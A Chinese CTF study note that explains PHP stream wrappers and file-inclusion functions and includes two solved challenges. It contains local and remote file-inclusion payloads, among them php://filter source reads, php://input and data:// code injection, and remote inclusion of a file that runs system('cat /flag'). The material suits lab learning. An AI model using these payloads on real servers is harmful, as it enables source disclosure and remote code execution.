常见协议与PHP伪协议

常见协议与封装协议

1
2
3
4
5
6
7
8
9
10
11
12
1 file:// — 访问本地文件系统
2 http:// — 访问 HTTP(s) 网址
3 ftp:// — 访问 FTP(s) URLs
4 php:// — 访问各个输入/输出流(I/O streams)
5 zlib:// — 压缩流
6 data:// — 数据(RFC 2397)
7 glob:// — 查找匹配的文件路径模式
8 phar:// — PHP 归档
9 ssh2:// — Secure Shell 2
10 rar:// — RAR
11 ogg:// — 音频流
12 expect:// — 处理交互式的流

file://

访问本地文件系统,若不加协议名称,默认封装协议file://协议

条件:

  • allow_url_fopen:off/on
  • allow_url_include :off/on

作用:
用于访问本地文件系统(服务器中的文件),在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。

说明:
当不说明使用file://协议的时(即默认file://协议的情况)可以使用相对路径,当使用了file协议时无法使用相对路径。

1
2
3
4
cmd=file://flag #用法错误,声明file协议时无法使用相对路径
cmd=file:///flag #用法正确,使用绝对路径
cmd=/flag #用法正确,使用绝对路径
cmd=flag #用法正确,使用相对路径

相对路径

当指定了一个相对路径提供的路径将基于当前的目录。在很多情况下是脚本所在的目录。

  • Windows:不以://indows 盘符开头的路径

  • Linux:不以/开头的路径

使用示例:以传参变量名为cmd演示

1
2
3
4
5
6
7
8
9
10
#Linux
cmd=file:///path/to/flag #根目录下path文件夹中to文件夹下flag文件 ——此处有///三条
cmd=/path/to/flag #根目录下path文件夹中to文件夹下flag文件
cmd=relative/path/flag #当前目录下relative文件夹中path文件夹下flag文件
cmd=flag #当前目录下的flag文件
#Windows
cmd=file://C:/path/to/flag #C盘中path文件夹中to文件夹下flag文件
cmd=file://C:\path\to\flag #C盘中path文件夹中to文件夹下flag文件
cmd=C:\path\to\flag #C盘中path文件夹中to文件夹下flag文件
cmd=flag #当前文件夹下flag文件

http://

访问 HTTP(s) 网址

条件:

  • allow_url_fopen:on
  • allow_url_include:on

作用:
常规 URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。CTF中通常用于远程包含。

使用示例:以传参变量名为cmd演示

1
2
cmd=http://example.com/phpinfo.txt	#读取http://example.com/phpinfo.txt文件
cmd=https://example.com/file.php?var1=val1&var2=val2 #读取https://example.com/file.php文件并且传入var1和var2的值

php://

访问各个输入/输出流(I/O streams),伪协议提供了多种不同的方式来访问和处理数据

常见的PHP伪协议:

1
2
3
4
5
6
7
8
9
10
php://input #这个伪协议用于访问HTTP请求的原始主体数据。它通常用于从POST请求中读取数据。
php://output #这个伪协议用于访问HTTP响应的输出流。它通常用于向客户端发送数据。
php://stdin #用于访问标准输入流。
php://stdout #用于访问标准输出流。
php://stderr #用于访问标准错误输出流。
php://temp #用于临时存储数据的内存流。它可以用于在没有创建实际文件的情况下处理临时数据。
php://memory #用于在内存中创建可读写的数据流。
php://filter #这个伪协议用于数据过滤和转换。它允许您将不同的过滤器应用于数据流,例如Base64编码、压缩和加密等。
php://globals #用于访问全局变量。可以通过此伪协议查看和修改PHP全局变量的值。
php://fd #用于访问文件描述符。它允许您在PHP中访问底层文件系统。

在CTF中经常使用的是php://filterphp://inputphp://filter用于读取源码,php://input用于执行POST参数中的php代码。

作用:
php:// 访问各个输入/输出流(I/O streams)

条件:

  • allow_url_fopen:off/on
  • allow_url_include :仅php://inputphp://stdinphp://memoryphp://temp 需要on

php://filter

条件:

  • allow_url_fopen:off/on
  • allow_url_include :off/on

作用:

php://filter可以作为一个位于原始数据流和最终目标之间的中间流来处理其他流,负责对数据进行处理。(即读取或写入数据之前对其进行修改或过滤。)

名称 描述
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。(加绝对路径
read=<读链的筛选列表> read参数指定 一个或多个过滤器 用于操作,可以设定一个或多个过滤器名称,以管道符分隔。(读取文件后编码输出)
write=<写链的筛选列表> write参数指定 一个或多个过滤器 用于操作,可以设定一个或多个过滤器名称,以管道符分隔。(编码重写入文件)
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链

注:

  • readwrite 指令是互斥的,不能同时使用。
  • 如果存在多个过滤器,字符串从左到右的顺序经过过滤器

write指令用于写入文件,对字符串编码后写入

1
2
3
4
<?php
/* 将 "Hello World" 进行base64编码然后写入根目录flag.txt文件 */
file_put_contents("php://filter/write=convert.base64-encode/resource=/flag.txt","Hello World");
?>

常用过滤语句:

1
cmd=php://filter/read=convert.base64-encode/resource=/flag //读取根目录flag文件,进行base64编码

常用过滤器

PHP 版本中的过滤器也许比这里列出的更多(或更少),可用 stream_get_filters()来列出 PHP 中已安装的过滤器。

以docker的PHP8.3.4为例,自带的过滤器有

  • zlib.*
  • convert.iconv.*
  • string.rot13
  • string.toupper
  • string.tolower
  • convert.*
  • dechunk
  • consumed (目前也不知道是啥)
字符串过滤器
  • string.rot13(对字符串执行ROT13编码转换)

  • string.toupper(将字符串转化为大写)

  • string.tolower(将字符串转化为小写)

  • string.strip_tags(自 PHP 7.3.0 起废弃,从字符串中去除 HTML 和 PHP 标记)

官方文档:

PHP: 字符串过滤器 - Manual

转换过滤器

注:转换过滤器是 PHP 5.0.0 添加的

  • convert.base64-encode convert.base64-decode(将字符串进行base64编码加解密)
  • convert.quoted-printable-encodeconvert.quoted-printable-decode(将字符串进行Quoted-printable编码加解密)
  • convert.iconv.*(将字符串进行字符编码转化)

官方文档:

PHP: 转换过滤器 - Manual

压缩过滤器

压缩过滤器可以在网络的流中提供通用压缩,将一个非压缩的流转换成一个压缩流。可以在任何时候应用于任何流资源。

官方文档:

PHP: 压缩过滤器 - Manual

加密过滤器(已自 PHP 7.1.0 起废弃)

加密过滤器特别适用于文件/数据流的加密。

官方文档:

PHP: 加密过滤器 - Manual

dechunk

将HTTP分块Chunk传输的数据进行解码

HTTP分块Chunk传输:

告别等待!HTTP分块Chunk传输让客户端响应更迅速数据即时呈现-腾讯云开发者社区-腾讯云 (tencent.com)

注:比较特别的是,进行解码的数据流每行都有后缀CRLF(即\r\n),否则将得到空字符串

php://input

主要用来接收post数据。

条件:

  • allow_url_fopen:off/on
  • allow_url_include :on

说明:

CTF中文件包含题目里,可以使用php://input协议,将post请求中的数据作为php代码执行。

使用示例:以传参变量名为file演示

1
2
3
4
[URL部分]
?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>

zlib://

压缩流

条件

  • allow_url_fopen:off/on
  • allow_url_include :off/on

作用

zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg、png、gif等等。

zlib:// 需要是服务器内的压缩包文件、但不局限于后缀名

示例:

1、 zip://[压缩文件绝对路径]#[压缩文件内的子文件名]

注意:#需要URL编码为%23,传入时不要加上[ ]

压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传目录/var/www/html/,以file为文件包含的参数为例:

1
?file=zip:///var/www/html/phpinfo.jpg#phpinfo.txt

2、compress.bzip2://file.bz2
压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名),并上传目录/var/www/html/,以file为文件包含的参数为例:

1
?file=compress.bzip2:///var/www/html/phpinfo.bz2

3、compress.zlib://file.gz
压缩 phpinfo.txt 为 phpinfo.gz 并上传(同样支持任意后缀名),并上传目录/var/www/html/,以file为文件包含的参数为例:

1
?file=compress.zlib:///var/www/html/phpinfo.gz

phar://

phar://协议与zip://类似,同样可以访问zip格式压缩包内容

例如,上传压缩包到目录/var/www/html/,以file为文件包含的参数为例:

1
?file=phar:///var/www/html/phpinfo.zip/phpinfo.txt

data://

条件

  • allow_url_fopen:on
  • allow_url_include :on

作用
自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。

用法

  • data://text/plain,[加上所需传输的经过url编码数据]
  • data://text/plain;base64,[加上所需传输的经过base64编码再经过url编码的数据]

注意:传入时不要加上[ ]

示例

  • data://text/plain,
1
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
  • data://text/plain;base64,
1
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

使用场景

当遇到文件包含可使用伪协议进行

可能遇到的文件包含函数:

1
2
3
4
5
6
7
8
9
10
11
include
require
include_once
require_once
highlight_file
show_source
flie
readfile
file_get_contents
file_put_contents
fopen

include和require函数

​ 通过 include 或 require 语句,可以将 PHP 文件的内容插入另一个 PHP 文件(在服务器执行它之前)。

includerequire 语句是相同的,除了错误处理方面

require 会生成致命错误(E_COMPILE_ERROR)并停止脚本、include 只生成警告(E_WARNING),并且脚本会继续

语法:

1
2
include 'filename';
require 'filename';

区别:

1
2
3
<?php
include '23333.php';
?>

由于23333.php不存在
使用include的时候,只会在当前语句报错,然后执行后边的正常语句

1
2
3
<?php
require '23333.php';
?>

但是使用require的时候,就会直接报错然后跳出函数。

include_once和require_once函数

include_once (require_once)语句在脚本执行期间包含并运行指定文件。此行为和 include (require)语句类似,区别是如果该文件中的代码已经被包含了,则不会再次包含,只会包含一次。include_once(require_once)需要查询一遍已加载的文件列表, 确认是否存在, 然后再加载。

1
2
3
4
<?php
require '1.php';
require '1.php';
?>

这种情况下1.php被包含两次。

1
2
3
4
<?php
require '1.php';
require_once '1.php';
?>

这种情况下,第二次包含时,是不会进行包含的。

highlight_file()和show_source()

两个函数的用法相同,因为show_source()是highlight_file()的别名

1
2
show_source(filename,return);
highlight_file(filename,return);

其中return是可选项

参数 描述
filename 必需。要进行高亮处理的 PHP 文件的路径。
return 可选。如果设置 true,则本函数返回高亮处理的代码,而不是输出它们。


readfile和file_get_contents和file

三者区别:

名称 作用
file 把整个文件读入一个数组中
readfile 读入一个文件并写入到输出缓冲。
file_get_contents 将整个文件读入一个字符串

注:以下提到的PHP 的内置路径(include_path)为在php.ini的php配置文件中进行设置的搜索路径。

file_get_contents

file_get_contents() 把整个文件读入一个字符串中。
该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。

1
file_get_contents(path,include_path,context,start,max_length)
参数 描述
path 必需。规定要读取的文件。
include_path 可选。只提供了文件名,而没有提供完整的文件路径,将在PHP 的内置路径(include_path)中搜索文件。如果您还想在 include_path(在 php.ini 中)中搜索文件的话,请设置该参数为 ‘1’。
context 可选。规定文件句柄的环境(即执行的条件)。context 是一套可以修改流的行为的选项。若使用 NULL,则忽略。
start 可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 中新增的。
max_length 可选。规定读取的字节数。该参数是 PHP 5.1 中新增的。

readfile

readfile() 函数读取一个文件,并写入到输出缓冲。如果成功,该函数返回从文件中读入的字节数。如果失败,该函数返回 FALSE 并附带错误信息。您可以通过在函数名前面添加一个 ‘@’ 来隐藏错误输出。

1
readfile(filename,include_path,context)
参数 描述
filename 必需。规定要读取的文件。
include_path 可选。只提供了文件名,而没有提供完整的文件路径,将在PHP 的内置路径(include_path)中搜索文件。如果您还想在 include_path(在 php.ini 中)中搜索文件的话,请设置该参数为 ‘1’。
context 可选。规定文件句柄的环境(即执行的条件)。context 是一套可以修改流的行为的选项。

file

与 file_get_contents() 类似,不同的是 file() 将文件读取后作为一个数组返回。数组中的每个单元都是文件中相应的一行,包括换行符在内。

1
file(path,include_path,context)
参数 描述
path 必需。规定要读取的文件
include_path 可选。只提供了文件名,而没有提供完整的文件路径,将在PHP 的内置路径(include_path)中搜索文件。如果也想在 include_path 中搜寻文件的话,可以将该参数设为 “1”
context 可选。规定文件句柄的环境(即执行的条件)。context 是一套可以修改流的行为的选项。若使用 null,则忽略。

file_put_contents

file_put_contents() 函数把一个字符串写入文件中。

1
int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )
参数 功能
filename 必需。规定要写入数据的文件。如果文件不存在,则创建一个新文件
data 必需。规定要写入文件的数据。可以是字符串、数组或数据流
flag 可选。规定如何打开/写入文件。可能的值:
FILE_USE_INCLUDE_PATH :只提供了文件名,而没有提供完整的文件路径,将在PHP 的内置路径(include_path)搜索文件。
FILE_APPEND:如果设置了该标志,数据将被追加到文件末尾而不是覆盖文件内容。
LOCK_EX:如果设置了该标志,在写入文件时会获取一个独占锁定(排它锁),以防止其他进程同时写入文件。这可以确保在多个进程同时写入文件时不会发生冲突。
context 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。

该函数访问文件时,遵循以下顺序

  1. 如果设置了 FILE_USE_INCLUDE_PATH 标志,函数将首先检查 filename 参数的副本是否存在于 PHP 的内置路径(include_path)中。
  2. 函数将打开文件以进行写入操作。
  3. 如果设置了 LOCK_EX 标志,函数将对文件进行锁定(获取独占锁定),以确保在写入文件时不会发生冲突。
  4. 如果设置了 FILE_APPEND 标志,函数将将写入的数据追加到文件末尾。否则,函数将清除文件的内容并写入新的数据。
  5. 函数将写入数据到文件中。
  6. 函数将关闭文件并释放对文件的所有锁定。


fopen

fopen() 函数打开一个文件或 URL。

1
fopen(filename,mode,include_path,context)
参数 描述
filename 必需。规定要打开的文件或 URL。
mode 必需。规定您请求到该文件/流的访问类型。可能的值:”r” (只读方式打开,将文件指针指向文件头)”r+” (读写方式打开,将文件指针指向文件头)”w” (写入方式打开,清除文件内容,如果文件不存在则尝试创建之)”w+” (读写方式打开,清除文件内容,如果文件不存在则尝试创建之)”a” (写入方式打开,将文件指针指向文件末尾进行写入,如果文件不存在则尝试创建之)”a+” (读写方式打开,通过将文件指针指向文件末尾进行写入来保存文件内容)”x” (创建一个新的文件并以写入方式打开,如果文件已存在则返回 FALSE 和一个错误)”x+” (创建一个新的文件并以读写方式打开,如果文件已存在则返回 FALSE 和一个错误)
include_path 可选。如果您还想在 include_path(在 php.ini 中)中搜索文件的话,请设置该参数为 ‘1’。
context 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。

参考文章

实战

No.1 土豆哥给的题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
error_reporting(0);
print("easy lfi, but no flag~~");
$cmd = $_POST['cmd'];
//flag in /flag
if (isset($cmd)) {
print ("first one:" . "<br>");
$cmd = preg_replace("/flag/i", '', $cmd);
echo $cmd;
if (preg_match("/flag/i", $cmd)) {
include($cmd);
}
}

土豆哥:flag一般在根目录下(根本没听到,做了很多无用功,但偶然接触到了一句话木马)

题解:

$cmd = preg_replace("/flag/i", '', $cmd);这个正则表达式用于删除cmd中含有flag地方,第二个 if (preg_match("/flag/i", $cmd))用来判断是否含有flag这个词如果有则进行if下的内容。

​ 按题目的含义我们可以构造出flflagag这个作为flag的替代

​ 尝试直接进行cmd=/flflagag进行传参,发现并没有出现参数,判读估计进行了隐藏。使用php中的php://filter伪协议进行读取,使用cmd=php://filter/read=convert.base64-encode/resource=/flag尝试使用base64加密后读取。

​ 页面出现经过base64加密后的内容

1
PD9waHAKJEZMQUcgPSAiUk9JU3tkb3Vkb3VibGVibGVfY21jbWRkX3dpd2lubn0iOw==

解密

1
2
<?php
$FLAG = "ROIS{doudoubleble_cmcmdd_wiwinn}";

发现flag是个变量无法直接通过include包含直接读出。

No.2 CTFHub 技能树-RCE-文件包含-远程包含

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag?<br>
<a href="phpinfo.php">phpinfo</a>

页面给了个小提示

phpinfo

Directive Local Value Master Value
allow_url_fopen On On
allow_url_include On On

题解:

查看题目

if (!strpos($_GET["file"], "flag"))发现题目要求必须使用非含flag的文件进行包含,则此时可以考虑进行远程包含。在服务器上建立一个txt文件,里面写入能进行打印出根目录下flag的代码,如:

1
2
<?php 
system("cat /flag"); ?>

使用http://协议,最后成功获取代码